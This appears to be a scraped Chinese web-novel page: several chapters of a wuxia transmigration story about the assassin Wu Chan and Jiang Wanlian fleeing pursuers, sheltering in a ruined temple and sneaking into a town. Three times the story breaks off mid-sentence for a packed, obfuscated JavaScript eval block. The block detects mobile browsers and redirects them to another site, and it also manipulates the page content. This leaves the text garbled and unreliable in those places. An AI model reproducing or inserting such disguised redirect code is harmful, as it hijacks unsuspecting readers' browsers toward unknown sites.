无忏身体僵了一下,异色的眸子斜睨了她一眼,那眼神里似乎闪过一丝极其细微的、类似于“你在胡说什么”的无语。但他竟真的没说话,只是又转回头,继续看路,任由江晚怜发挥。 刀疤脸和村民们都愣住了。看看一脸“诚恳”道歉的江晚怜,又看看那个面无表情、气质冷冽的黑衣“傻子”,这组合怎么看怎么诡异。 “脑子……不好?”刀疤脸将信将疑,又打量了一下无忏,确实,正常人被拦了路,要么理论要么发火,哪有这样完全无视的?难道真是个傻的?可那身功夫不像啊……也许是练功练傻了?江湖上这种怪人也不是没有。 他掂量了一下,觉得为了点面子跟一个“傻子”硬碰硬不划算,何况旁边还有个看起来挺机灵还会道歉的丫头。他哼了一声,色厉内荏地道:“算你们识相!喝完水赶紧滚!别在村里瞎晃悠!” “是是是,多谢大哥!”江晚怜拉着无忏的袖子,赶紧溜进了村子,留下刀疤脸一伙对着村民继续耀武扬威,只是气势明显弱了几分。 走远了,江晚怜才松开手,拍拍胸口,长出一口气:“吓死我了,还以为你要动手。” 无忏没理会她关于“脑子不好”的污蔑,只是淡淡评价:“多事。” “我这是避免不必要的麻烦!”江晚怜理直气壮,“跟那种人纠缠,赢了没光彩,输了更丢人,划不来。”她顿了顿,又笑嘻嘻地补充,“不过,你刚才配合得挺好嘛,没拆穿我。” 无忏瞥了她一眼,没接话,但脚步似乎加快了一点,像是想离这个满嘴胡话的家伙远些。 江晚怜找了个在屋外晾晒野菜的老妇人,用几枚铜钱换了点粗盐和几个硬邦邦的杂面饼,又灌满了水囊。老妇人看这小姑娘不像坏人,还好心提醒:“村口那几个是附近镇上的青皮,隔三差五来收钱,惹不起的,你们外乡人,早点离开好。” 江晚怜道了谢,和无忏很快离开了这个小小的野牛坳。走出村子时,还能听到身后隐约传来刀疤脸一伙的呵斥和村民的哀求。 坐在村外路边的石头上歇脚,啃着干硬的饼子,江晚怜忍不住吐槽:“这江湖,真是哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17006871|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿都不消停。有大侠快意恩仇,就有这种地痞欺压良善。” 无忏喝了一口水,望着来的方向,忽然道:“他们活不长了。” “嗯?”江晚怜没反应过来。 “戾气外露,贪得无厌,又无真本事。”无忏语气平淡,“今日遇的是我们,若遇的是其他脾性不佳的过路客,或忍无可忍的村民……迟早横死。” 江晚怜默然。他说得冷静而残酷,却可能是事实。在这个力量至上的世界,没有实力支撑的嚣张,就像没有根系的浮萍。 她忽然觉得嘴里的饼子更没味道了。 ——同日,数十里外,无忏与江晚怜昨夜曾歇息的荒野。 叶玖蹲在已经被野兽刨开少许的简陋土堆旁,指尖捻起一点沾着暗褐色的泥土,放在鼻端。血腥气已经很淡,混杂着泥土和腐烂植物的味道。她面前是两具被粗略掩埋、又被什么动物拖出来一部分的尸首,正是崔勉和熊奎。 李子遥用剑鞘拨开周围的杂草,脸色凝重:“死了起码一天以上。伤口……很利落。这个使峨眉刺的,是一剑穿心。这个使双钺的……”他检查着熊奎胸口的匕首伤,眉头紧锁,“伤口角度有点怪,像是……正面,但发力很不标准,不像是无忏所为。” 叶玖站起身,环视四周的打斗痕迹。被踩踏压倒的荒草范围不小,显示战斗颇为激烈。但除了这两具尸体,再没有其他血迹。“是无忏的手法。”她肯定道,“但他可能并非独自对敌。另一人……或许帮了忙,或者,至少当时在场。”她想起了江晚怜。 “他们又杀了两个……排名十七、十八的。”李子遥吸了口气,“这魔头,到底招惹了多少人?又到底有多强?” 叶玖没有回答,她的目光落在地上几处较浅的、不属于那两个杀手的脚印上。其中一个脚印偏小,步幅短促凌乱,显然属于一个惊慌或武功不高的人,曾躲在某块大石后……江晚怜。 另一个脚印,沉稳,深邃,是那个人的。他在这里驻足,守夜,然后离开……方向,向南。 她闭上眼,脑海中却不受控制地闪过另一幅久远的画面: 那是荒野,寒冬。瘦小的她蜷缩在破庙漏风的角落,饿得眼前发黑,身上只剩单衣。脚步声传来,她恐惧地缩紧,以为又是抢地盘的乞丐。可落下的,是一件带着体温的厚实披风,和一包温热的干粮。逆着光的身影看不清脸,只记得那声音温和清朗:“小丫头,吃吧,吃完跟我走,给你找个暖和的地方。”那人腰间,似乎挂着一块质地很好的玉佩,雕着简单的云纹……后来她知道,那是江家的标记,那人,是江家主——江寻。 她猛地睁开眼,指尖微微收紧。江寻……那个在她濒死时给予一线生机的人,可他唯一的女儿,现在正被师门命令“格杀”。 “师姐?”李子遥察觉到她气息的波动。 “……没事。”叶玖压下心底翻腾的情绪,声音恢复冷静,“痕迹还很新,不超过两日。他们往南去了,速度不会太快。我们追。” “师命……”李子遥低声提醒,眼神复杂。 叶玖站起身,望向南方天际,那里云层低垂。“先找到人。”她只说,“其余……找到再说。” 两人上马,沿着依稀可辨的痕迹,向南疾驰。风吹起叶玖鬓边的发丝,她清丽的脸上没有什么表情,只有眼中深藏的波澜,揭示着平静下的挣扎。 野牛坳的纠纷,江湖底层的蝇营狗苟;荒野埋葬的杀手,血腥残酷的生存法则;以及追踪者心中,日渐沉重的师命与道义之衡。 这江湖,从来不止一种颜色,一种声音。 而南下的路,还很长。 27. 废观内 南方的天,孩儿的脸。前一刻还是晴空朗日,转眼间乌云便从山那头滚滚而来,沉甸甸地压在山脊林梢。风骤然变得湿冷急促,卷着落叶和尘土,预示着即将到来的不是小雨。 “要下大雨了。”江晚怜抬头看着迅速暗沉下来的天空,判断道。连日赶路,她对天气变化的直觉都敏锐了不少。 无忏自然也察觉了,他目光扫过前方蜿蜒的山路,指了指前方的一处破道馆:“前面有处废弃的道观,可避雨。” 两人加快了脚步,几乎是刚踏进那道半塌的山门,豆大的雨点便噼里啪啦地砸了下来,瞬间连成一片白茫茫的雨幕,将天地笼罩。狂风卷着雨丝从破损的门窗灌入,发出呜呜的怪响。 道观确实废弃已久,正殿还算完整,只是蛛网尘封,神像蒙灰,角落里堆着些破烂的杂物。但屋顶没漏,墙壁也厚实,足以遮蔽风雨。无忏快速检查了一遍殿内,确认没有其他人或危险,便用找到的几块破木板勉强堵住了漏风最厉害的两处窗户缝隙。 江晚怜松了口气,找了块相对干净、远离门口风雨的角落,放下包袱,一屁股坐下来。外面雷声隆隆,雨势如瀑,但殿内却奇异地有种与世隔绝的安稳感。她听着雨声,看着无忏动作利落地收拾出一个可供歇息的临时角落,心里那根因为持续逃亡而紧绷的弦,稍稍松弛了些。 “这雨看样子一时半会儿停不了。”她说着,从包袱里拿出最后一点干粮——硬得像石头的饼:“哎哟……咱们的存粮快告罄了。” 无忏在她对面坐下,接过她递来的半块饼,没说什么,只是就着水囊里的水,慢慢吃着。殿内光线昏暗,只有偶尔闪电划过时,才短暂地照亮他轮廓分明的侧脸和那双沉静的眼眸。 沉默持续着,只有雨声和咀嚼声。江晚怜吃完自己那份,觉得肚子里还是空落落的,但更让她难受的是这种无所事事的寂静。前几天赶路累得倒头就睡还好,现在被迫停下来,神经一放松,各种乱七八糟的念头就往外冒,嘴巴也跟着有点闲不住。 “咳,”她清了清嗓子,试图打破沉默:“那个…无忏,你以前…就是在遇到我之前,都怎么打发这种下雨天?总不能也这样干坐着吧?”她纯粹是没话找话。 无忏抬眼看了她一下,似乎在判断她问这个的意图,然后垂下眼:“等雨停。” “……哦。”江晚怜被噎了一下,不死心,又问:“那你……有没有特别喜欢或者讨厌的天气?比如,晴天?下雪天?” “无。” “那……吃的呢?除了不吃甜咸,有没有别的偏好?比如喜欢吃辣?酸?或者……?”她想起他好像对落霞镇那碗甜咸豆花很抗拒。 这次无忏沉默的时间长了一点,似乎在认真回想,最后道:“……不记得。” 不记得?江晚怜愣了一下。是说不记得偏好,还是……什么都不记得了?她想起他偶尔流露出的那种对过往的空白感,又回忆了下漫画剧情,一个猜测隐隐浮现。 “你……”她斟酌着用词,小心地问:“是不是……很多以前的事情,都记不太清了?” 无忏握着水囊的手明显顿了一下。他没有立刻回答,而是转过头,望向窗外被雨帘模糊的山林。雨水顺着残破的窗棂流下,在他侧脸上投下流动的阴影。 过了好一会儿,就在江晚怜以为他不会回答时,他低沉的声音才在雨声中响起,比平时更轻,更淡,仿佛也被这潮湿的空气浸透了: “嗯,或者说……只留下一些感觉和碎片。” 比如血腥味触发的:关于那段“不能滥杀无辜”告诫的碎片、又比如那红瞳的灼热刺痛感。但这些,他自然不会说。 江晚怜心里疑惑道:“失忆?还是选择性遗忘?是因为那古怪的红瞳吗?”此刻在相对“安全”的氛围下,好奇心又冒了头。 “那你的眼睛……”她声音放得更轻,带着试探:“是从小就这样吗?还是……后来发生了什么事?” 殿内忽然亮起一道刺眼的闪电,紧接着是几乎震耳欲聋的雷声。惨白的光瞬间照亮了无忏的整个侧脸,也清晰地映出了他左边那只暗红色的眼瞳。在那极短的瞬间,江晚怜似乎看到那红色深处,有什么东西极细微地收缩了一下,像是被雷光刺痛,又像是被她的问题触动了某个尘封的开关。 雷声滚过,殿内重归昏暗。无忏缓缓转过头,看向她。昏暗的光线下,那异色双眸显得格外幽深。 “不知道。”他的回答依旧简短,但江晚怜似乎从中听出了一丝不同于往常“不记得”的晦涩。不是单纯的遗忘,而是连“为何如此”的缘由都一并丢失的空茫。 他停顿了片刻,忽然反问:“你呢?” “啊?”江晚怜没想到话题会突然转向自己。 “你的过去。”无忏的目光落在她脸上,平静却带着不容回避的探寻:“在江家,你说你连杀鸡都不敢看。” 他怎么记得她那晚的话?!江晚怜心里猛地一紧,像被一只无形的手攥住了,分享自己的过去?这简直是个雷区! 怎么说?难道说“其实我是从另一个世界穿过来的,看了本漫画才知道你们这儿破事儿多”?还是说“这身体原主是个仗着家里有钱有势、为了个男人整天作天作地欺负叶玖的恶毒女配”? ——后一个念头让她后背瞬间沁出一层冷汗。 无忏的原则是“只杀有罪之人”。那原主江晚怜之前干的那些破事儿,在他眼里算不算“有罪”?勾引未遂李子遥、针对叶玖的那些手段,动辄苛责下人……虽然没直接害人命,但也绝对称不上良善。更何况叶玖还受过江家主江寻的恩……要是让无忏知道,现在这个被他带着东奔西跑、勉强算有点“合作”关系的江晚怜,内里早就换了个芯子,但外壳曾经那样对待过叶玖…… 江晚怜几乎能想象出他那张没什么表情的脸,在得知真相后会是什么样子。那双异色的眼睛大概会冷得像腊月的寒冰,然后淡淡说一句:“原来如此。”接着,黑剑出鞘…… 大卸八块可能不至于,但绝对没好果子吃!说不定直接就把她丢给叶玖处置,或者觉得她“居心叵测”干脆一刀结果了省事。 不行!绝对不行! “我啊……”她抱着膝盖,眼神飘向雨幕,声音也放轻了,带着点回忆的怅然——虽然是演的,说道:“以前……住在很远的地方,一个跟这里很不一样的地方,没什么打打杀杀……嗯,规矩很多,但日子……挺平静的,也挺没意思的。每天就是吃饭、睡觉、想些乱七八糟不着边际的事。” 她顿了顿,偷瞄了一眼无忏 “我胆子小,怕疼,怕虫子,更怕见血。”她继续道,但这次带上了点真实的情绪:“总觉得,活着嘛,就应该安安稳稳的,看话本子、吃点好吃的,为些鸡毛蒜皮的小事烦恼,那样就挺好。从来没想过,有一天会像现在这样,被追得满世界跑,还要、还要亲手……”她没说完,但意思很明显 “后来……”她声音低下去,真假参半,“一夜之间,什么都变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011774|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,再后来……就是和你浪迹天涯。”这倒是大实话。 她说完,殿内又陷入沉默,只有雨声哗哗。江晚怜心里有点打鼓,不知道这套说辞能不能蒙混过关,她说的“很远的地方”可以理解为异乡,“不一样”可以理解为闺阁与江湖的差异,至于“看话本子” ……古代大小姐也看话本嘛! 良久,无忏才开口,语气听不出什么特别的情绪:“现在呢?” “现在?”江晚怜愣了一下:“现在……还是怕。怕死、怕疼、怕不知道什么时候又从哪儿冒出个要杀我的人,但是……”她吸了口气,像是给自己打气。 “好像也没一开始那么怕了,知道躲,知道跑,知道……必要的时候,得咬牙拼一下。”比如那晚胡乱捅出去的那一刀。 她说完,自己都觉得有点惊讶。是啊,心理素质好像真的被这见鬼的逃亡生活磨炼得强悍了一点。至少现在还能坐在这里跟“绑匪”兼“保镖”唠嗑,而不是整天哭哭啼啼。 无忏静静地看着她,那双异色的眼睛里,映着窗外偶尔闪过的电光,也映着她有些局促却努力显得坦然的脸。他没有对她的“过去”做出任何评价,只是很平淡地说了一句: “能咬牙,就能活。” 这话从他嘴里说出来,没有鼓励,没有安慰,依然是冰冷的事实陈述。但江晚怜听了,却莫名觉得比任何温言软语都更有分量。 雨势似乎小了一些,但依旧绵密。殿内昏暗,空气潮湿而微凉。 两人都没再说话。江晚怜抱着膝盖,听着雨声,思绪却像窗外被风吹乱的雨丝,飘忽不定。她想起漫画里的叶玖和李子遥,按原剧情,他们现在应该沿着另一条线索追查,但现实早已面目全非。他们会不会已经离得很近了?那两句古怪的诗“长堤柳色入笙歌,临堤鸢影破春初”,到底指向什么?是地名,是暗号,还是……某个至关重要的人?原漫画里根本没提过这些,一切像是沉在水面下的巨大暗影,让她本能地感到不安。 她又偷偷瞥了一眼对面沉默的无忏。他身上的谜团比那两句诗只多不少。他到底经历过什么?这些和他带着自己逃亡,又有多大关联? 想不明白、线索太少、危险太多。 而无忏,则依旧沉默地坐着,目光落在虚无的某处。左眼深处,那暗红的色泽在昏暗光线下仿佛更深沉了些。刚才江晚怜的问题,像一颗石子投入深潭,并未激起多大波澜,却让潭底某些沉睡的泥沙,微微松动了一丝。一些更加破碎、连模糊画面都称不上的感觉掠过心头——冰冷的液体,灼热的痛楚,还有……一种深不见底的、仿佛连光线都能吞噬的黑暗。 但只是一瞬。下一刻,那些感觉便如潮水般退去,不留痕迹。 他重新凝聚视线,看向对面已经有些昏昏欲睡的江晚怜。她脑袋一点一点的,强撑着不睡过去,样子有点滑稽。 他开口道:“雨停我叫你。” 江晚怜含糊地“嗯”了一声,再也抵挡不住倦意,靠着墙壁,蜷缩起身子,很快沉入了并不安稳的梦乡。 无忏依旧坐着,如同这废观里一尊沉默的守护石像。窗外风雨飘摇,江晚怜悠长的呼吸声交织在淅沥的雨声中。 这一趟,没有追杀,没有搏命,只有一场暴雨,一个避雨之所,和一段关于褪色过去的、小心翼翼的交浅之言。 有些东西,在无声地改变。如同被雨水浸润的土地,虽然表面看不出,内里却在悄然松动,等待着破土而出的契机。 28. “反派组合” 雨后的山林格外清新,但也格外……容易迷路。 湿滑的苔藓掩盖了本就模糊的兽径,蒸腾的水汽让远处的景物都蒙上一层薄纱,看哪儿都差不多。无忏走在前面,步伐依旧稳定,但江晚怜跟了半晌,越来越觉得周围的树木眼熟——不是那种“长得像”的眼熟,是“这棵被雷劈过的歪脖子树我们一刻钟前绝对从它右边走过”的眼熟! 她叹了口气,正准备再次行使“领路权”——尽管上次成功多半靠运气,前方密林深处,忽然传来一阵微弱但持续的、带着哭腔的呼喊: “救命啊——有没有人——救救我——” 是个女声,声音里满是惊恐和无助。 江晚怜脚步一顿,看向无忏。无忏也停下了,侧耳倾听,眉头蹙了一下。他显然也听到了,脸上稍微露出一丝谨慎,似乎在判断这是不是陷阱。 “好像有人遇险了?”江晚怜小声说。 “嗯。”无忏应了一声,却没动,目光锐利地扫视着声音传来的方向。 “不去看看吗?”江晚怜有点着急,那声音听起来不像是装的:“万一真需要帮忙呢?这荒山野岭的……” 无忏看了她一眼,那眼神似乎在说“多管闲事”。但他看着江晚怜一副着急的模样,最终还是迈步,朝着呼救声的方向谨慎走去。江晚怜连忙跟上。 拨开几丛茂密的灌木,眼前的景象让两人都愣了一下。 只见前方一棵高大的老榕树下,一个穿着灰色布裙的年轻女子,正以一种极其狼狈的姿势被吊在半空中——不是被绳子,而是她的裙摆和袖口被几根特别坚韧、带有倒刺的老藤死死缠住了,整个人像只不幸落网的灰雀,悬在离地约一人高的地方徒劳挣扎。她头发散乱,脸上沾着泪痕,灰色的衣裙也被勾破了好几处,看起来可怜又滑稽。 那女子听到动静,猛地转过头,看到无忏和江晚怜,先是惊喜,随即目光落在无忏腰间的黑剑和他异于常人的眼睛上,惊恐之色更甚,挣扎得更厉害了:“别、别过来!你们是谁?是不是跟那些强盗一伙的?!” 江晚怜:“……”好吧,被当成坏人了。她赶紧上前一步,摆出自以为最和善的表情:“姑娘别怕,我们不是坏人,是路过听到呼救才过来的。你这是……怎么挂上去的?” 那女子将信将疑,但眼看唯一能求助的只有这两人,只好带着哭腔道:“我、我叫唐灵,是去南边探亲的……刚才想抄近路,不小心踩空了滚下来,就被这些该死的藤蔓缠住了……怎么也挣不开,越动缠得越紧……呜呜……” 江晚怜抬头看了看那纠结的老藤,又看了看唐灵被倒刺勾住的衣料,确实麻烦。她转头看向无忏,眼神示意:咋办?救人啊! 无忏站在原地没动,目光在唐灵和那些藤蔓之间打量了一下,然后,他做出了一个让江晚怜差点绝倒的动作——他往后退了半步,然后看向江晚怜,微微抬了抬下巴。 意思很明显:你解决,而且,他不打算直接上手。 江晚怜读懂了这无声的对麻烦的嫌弃,心里又好气又好笑。行,您老原则多! 她深吸一口气,对唐灵道:“你别乱动,我们想办法把你弄下来。”然后她转向无忏,压低声音:“无大哥,给点工具?剑借一下?或者……你那把短匕?” 无忏瞥了她一眼,从怀中取出那柄短匕,却没递给她,而是手腕一抖。 “咻!咻!咻!” 几声极轻微的破空声响起,几道寒光闪过,精准地切断了缠绕唐灵最关键的几处藤蔓,却又丝毫未伤及她的衣物。力度和角度控制得妙到毫巅。 “啊呀!”唐灵惊呼一声,只觉得身上一松,整个人便掉了下来。 江晚怜眼疾手快…好吧其实也没多快。赶紧冲上前想接——当然没接住,反而被掉下来的唐灵撞得一屁股坐倒在地,两人滚作一团。 “哎哟……” “对、对不起!”唐灵慌忙爬起来,又手忙脚乱地去拉江晚怜。 等两人灰头土脸地站稳,无忏已经收回了短匕,依旧站在几步开外,仿佛刚才出手的不是他。 唐灵惊魂未定,拍打着身上的泥土和草叶,连连向江晚怜道谢:“多谢姑娘!多谢姑娘!还有那位……侠士……”她偷眼看了看面无表情的无忏,声音小了下去,显然还是有点怕。 “不客气,路见不平……呃,路见被挂,拔刀相助嘛。”江晚怜揉着摔疼的屁股,龇牙咧嘴地说。 唐灵整理着散乱的头发和破了的灰布裙,目光不经意间扫过江晚怜的脸,又看了看她身边那个存在感极强的黑衣男子,忽然,她动作僵住了,眼睛微微睁大,像是想起了什么,脸上血色迅速褪去。 江晚怜察觉不对:“唐灵,你怎么了?受伤了?” 唐灵猛地后退一步,手指颤抖地指向他们,声音发颤:“你、你们……我、我好像在镇上的告示栏见过……画、画像……很高的赏金……你们是……江晚怜和……无、无忏?!”最后两个字几乎是从牙缝里挤出来的,充满了恐惧。 江晚怜心里“咯噔”一下,暗叫倒霉。这通缉令的覆盖面也太广了!但她随即一想,遮掩否认在这种情境下反而显得心虚又可笑。对方已经认出来了,在这荒山野岭,一个胆小如鼠的陌生女子…… 她做出了决定。 脸上的和善瞬间褪去,取而代之的是一种混合了不耐和破罐子破摔的冰冷——当然这些都是模仿的“恶人”腔调。她往前踏了一步,目光直直盯着唐灵,语气平淡却带着一种不容置疑的压力: “是,又怎么样?” 唐灵被她这直白的承认和骤然转变的态度吓得一哆嗦,转身就想跑。 “你跑一个试试?”江晚怜的声音不高,甚至没什么起伏,却像钉子一样把唐灵钉在原地:“看看是你认得这山林的路,还是我身边这位——”她朝无忏的方向偏了偏头。 “——认得让一个人永远闭嘴的路。” 无忏周身那股无形的、属于顶尖杀手的冰冷压迫感,在江晚怜话音落下时,似乎有意无意地浓郁了一丝。 唐灵双腿发软,眼泪夺眶而出,声音带着绝望的哭腔:“我、我什么都没看见……我什么都不会说的!求求你们,放过我吧!我就是个普通老百姓,我什么都不知道!” “记性倒挺好。”江晚怜扯了扯嘴角,没什么笑意,“告示栏看一眼就记住了?那你知不知道,有些记性太好的人,容易短命?” 这话纯粹是吓唬,但配合着此刻的环境和无忏那尊杀神般的存在,效果拔群。 唐灵彻底崩溃了,捂住嘴不敢哭出声,只是拼命摇头、两眼泪汪汪。 江晚怜看着她这副样子,心里那点狐假虎威的劲儿也有点维持不下去,更多的是觉得荒谬和疲惫。她叹了口气,语气稍微缓和了一丁点,但依旧带着不容商量的意味: “想活命,就拿出点有用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011775|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西来换,比如……”她环顾四周密林:“比如,怎么走出这片林子?” 无忏站在不远处,听着江晚怜那漏洞百出却努力扮演恶人的话,嘴角在江晚怜背过身时抽动了一下。但他很配合地没有出声,只是抱着剑,往那里冷冷一站,周身那股生人勿近的寒气自然而然散发出来。 唐灵被这组合吓得腿都软了,看看“凶神恶煞”的江晚怜,再看看那边仿佛随时会拔剑的冷面煞星,哪里还敢跑,眼泪又在眼眶里打转:“我、我错了……女侠饶命!我、我什么都没看见,我什么都不知道!我就是个探亲的,我马上就走!” “走?”江晚怜哼了一声,演技上线,“这林子这么大,你认得路吗?别又挂树上了。再说,你刚才可是认出了我们,万一你出去乱说……” “我不敢!我发誓!”唐灵眼泪都快憋不住了了:“我嘴最严了!我、我还可以告诉你们怎么出这片林子!我知道一条近路,是我舅舅以前打柴走的,很少有人知道!” 江晚怜心中一动,和远处的无忏交换了一个眼神。无忏几不可察地点了下头。 “哦?”江晚怜故作怀疑,“真的?你不会是想把我们引到陷阱里去吧?” “绝对不敢!”唐灵指天发誓,“我要是说谎,就让我……让我下次还被挂树上!” 这誓言有点别致。江晚怜心里觉得这姑娘胆小得有点滑稽,但看样子不像说谎。她假装思考了一下,才“勉为其难”地说:“行吧,看你也怪可怜的。带路吧,要是敢耍花样……”她又瞥了无忏一眼。 唐灵如蒙大赦,连连点头,小心翼翼地在前面带路,一步三回头,生怕身后两人变卦。她指的这条路确实隐蔽,沿着一条几乎干涸的溪床走,穿过一片满是藤蔓的洼地,虽然难走,但方向明确。 一路上,江晚怜充分发挥“沟通主力”作用,半是套话半是闲聊,得知唐灵是南边某个小镇绣庄老板的女儿,去邻县看望生病的外婆,确实是个普通百姓。她也从唐灵颠三倒四的描述中,再次确认了通缉令的广泛传播和赏金的惊人数额,心里沉甸甸的。 走了约莫一个多时辰,眼前豁然开朗。茂密的树林到了尽头,前方出现了一条相对平整的土路,蜿蜒着通向远方隐约可见的炊烟。 “从、从这条路一直往南,再走三十里,就能到青石镇了。”唐灵指着土路,小声说:“那、那里还算太平……两位……大侠,我就送到这里了行吗?”她眼巴巴地看着江晚怜,又害怕地瞟了无忏一眼。 江晚怜看了看路,又看了看吓得够呛的唐灵,心里那点恶作剧般的“恐吓”也散了。 “行了,你走吧。记住你说的,嘴严点。” 唐灵千恩万谢,几乎是跑着离开了,灰色的身影很快消失在另一条岔路上。 江晚怜看着她的背影,松了口气,转向无忏:“看来咱们的‘名气’是真不小。”语气带着自嘲。 无忏没接这话,只是望着前方通往青石镇的路。“走。” “嗯。”江晚怜跟上。虽然过程有点滑稽,但总算走出了那片森林,还白得了一个指路的。 两人沿着土路向南走去。天色渐晚,远方的炊烟显得格外温暖,也象征着人气和可能的新麻烦。江晚怜揉了揉还在隐隐作痛的屁股,想起刚才自己那番蹩脚的“恶人表演”,以及无忏那无声的配合和最后微不可察的点头同意…… 果然自己这对“反派组合”就是厉害。 29. 青石镇 夜色,是最好的掩护,也是最深的陷阱。 青石镇的轮廓在渐浓的暮色中显现时,无忏和江晚怜正伏在镇外一处土坡的荒草丛后。他们到达这里凭江晚怜的估算…已经快一个小时了却迟迟没有进去。 原因很简单——镇口的戒备比预想的森严太多。 不仅有两个挎着腰刀、精神还算抖擞的官差把守,旁边居然还有四五个穿着统一劲装、像是某个小镖局或护院武师模样的人来回走动,目光锐利地扫视着每一个试图在关闭镇门前最后时刻进出的行人。更显眼的是,镇门旁的告示墙上,新糊的浆糊还没干透,几张画像赫然在目——虽然画工粗糙,但那黑衣佩剑、异色眼眸的特征,以及旁边女子清秀的轮廓,辨识度足够高了。 “画得真丑。”江晚怜压低声音,忍不住吐槽:“把我画得像个大饼脸。” 无忏没理会她的关注点,目光沉静地观察着守卫换岗的间隙和镇墙的走向。青石镇不算大,围墙也不高,但显然近期加强了戒备,墙头似乎还有值夜人巡逻的火把光偶尔晃动。 “进得去吗?”江晚怜有点担忧。硬闯肯定不行,那等于自投罗网加插标卖首。 “等。”无忏只回了一个字。 他们在草丛里又趴了近半个小时,直到天色完全黑透,弦月被云层遮掩,只透下些许微光。镇门早已紧闭,墙头的火把也稀疏了些,值夜人的脚步声间隔变长。 无忏动了,他没有选择翻越防守相对严密的正门两侧,而是沿着镇墙阴影,悄无声息地绕向镇子侧面。那里墙根下堆着些杂物,墙头也矮了一截,更重要的是,靠近一片枝叶茂密的老槐树。 他示意江晚怜跟上。两人如同两道影子,借着树木和夜色的掩护,快速接近。无忏先确认了墙头暂时无人,然后又是像以往一样……趁江晚怜还没来得及出声抛过去,随后快速足尖在墙根杂物上一点,身形拔起,轻盈地越过了丈许高的围墙,落在墙内一条僻静漆黑的小巷里,然后拎起快要落地的江晚怜,再放在地上。 整个过程几乎没发出任何声响。 脚踏实地的瞬间,江晚怜慢半拍地要叫出声,又赶紧被无忏堵住了。 “你有病吧!”她在无忏放下手的时候,小声指责道。但无忏显然当作没听到——或者说听腻了。 虽是夜晚,但主要街道上居然还有零星的行人,且多是步履匆匆,神色警惕。临街的店铺大多已经打烊,门窗紧闭,只有少数挂着灯笼的酒楼客栈还透出些光,里面的人声也压得很低。空气里弥漫着一种紧绷的、山雨欲来的味道,连打更人的梆子声都显得格外清晰和急促。 “这地方……怎么感觉风声鹤唳的?”江晚怜小声嘀咕,下意识地往无忏身边靠了靠。 “悬赏,不止一方。”无忏的声音快要低不可闻,他目光迅速扫过街道两旁,尤其注意着那些张贴告示的地方。果然,除了镇口,镇内几条主要巷口也贴有他们的画像,墨迹犹新。 “正派,也在寻。” 江晚怜了然,之前主要是暗杀榜的杀手和可能存在的幕后黑手想要他们的命,现在连“名门正派”——就比如凌云门,也正式掺和进来,发出了某种公开的追索令或警告,才会让一个普通小镇如此戒备。他们的处境,从被“□□”追杀,升级到了被“黑白两道”共同关注,虽然关注的原因可能不同。 这感觉真是……酸爽。 “现在去哪?”江晚怜觉得在街上多待一秒都危险。 “忘尘客栈。”无忏辨明方向,带着她钻入更狭窄黑暗的小巷。他对这类城镇的巷道似乎有种天生的熟悉感,七拐八绕,避开了所有可能有灯火和人声的地方。 要是在林子里也这样就好了。 青石镇的忘尘客栈,比落霞镇那家更加不起眼。它窝在镇子西北角一条死巷的尽头,门面窄小,连灯笼都没挂,只在门楣上悬着一个陈旧的小木牌,刻着个蜷缩的猫形图案,几乎与深色的门板融为一体。 推门进去,里面更是冷清,大堂只点着一盏如豆的油灯,光线昏暗,空无一人,桌椅摆放整齐,却蒙着一层薄灰,像是许久没有客人光顾。唯有空气中淡淡的、混合了木头和草药的清洁气味,提示着这里有人打理。 柜台后,不是揣手打盹的白猫,取而代之的,是一只毛色斑斓、眼睛亮得像琥珀的狸花猫。它正精神抖擞地用爪子拨弄着一个线团,玩得不亦乐乎,听到门响,立刻警惕地抬起头,耳朵竖起,琥珀色的眼睛炯炯有神地盯向来客。 看到无忏和江晚怜,尤其是无忏和他腰间的剑,狸花猫掌柜停下了玩线团的动作,但并没有像落霞镇那位白猫同僚那般慵懒或高冷。它轻盈地跳上柜台,尾巴尖好奇地轻轻摆动,歪着头打量着他们,嘴里发出“喵呜?”一声,像是在关心的询问。 江晚怜被它活泼又带着审视的眼神看得有点想笑,紧张感缓解了些许。 无忏走到柜台前,没有多言,从怀中取出那卷来自王琨的“买命钱”以及从江晚怜身上拿出之前完成任务后剩余的银两放在柜台上。随后,他拿起旁边的笔:虽然在江晚怜的视角看起来,是在旁边空白纸条上签了一下,但签的东西……一言难尽。 狸花猫掌柜凑过来,先是用鼻子嗅了嗅银票,然后用爪子扒拉着数了数——天知道它怎么数的。又凑到那张带标记的纸条前仔细看了看,琥珀色的眼睛里闪过一丝亮光,随即,它转身,用脑袋顶开柜台后一个隐蔽的小活板,从里面叼出一本薄薄的、封面无字的册子,放到无忏面前,还用爪子拍了拍封面。 